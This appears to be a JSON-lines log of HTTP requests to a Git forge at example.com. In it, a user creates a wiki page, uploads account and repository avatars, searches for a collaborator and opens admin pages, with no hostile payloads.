{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/wiki/?action=_new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Getting+started&content=Clone+the+repository+and+run+the+build.&message="}
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/wiki/?action=_new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/Getting-started", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/wiki/?action=_pages", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/user/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR5Mv0yttLbvaY13B", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryR5Mv0yttLbvaY13B\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
{"method": "GET", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DYour%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
{"method": "GET", "target": "/avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba?size=64", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "POST", "target": "/alice/tools/settings/avatar", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 4377", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykD1bO7T1SED3rJ5v", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarykD1bO7T1SED3rJ5v\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"avatar.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
{"method": "GET", "target": "/alice/tools/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Brepository%2Bavatar%2Bhas%2Bbeen%2Bupdated."], "body": ""}
{"method": "GET", "target": "/repo-avatars/f9e66d43eb4888aac5d9d93745661631a09b4c73969226a3e89b2911ece215ba", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/settings/collaboration", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "X-Requested-With: XMLHttpRequest", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/avatars/4b9bb80620f03eb3719e0a061c14283d", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/settings/collaboration", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/search_candidates?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users?q=bob", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/emails", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
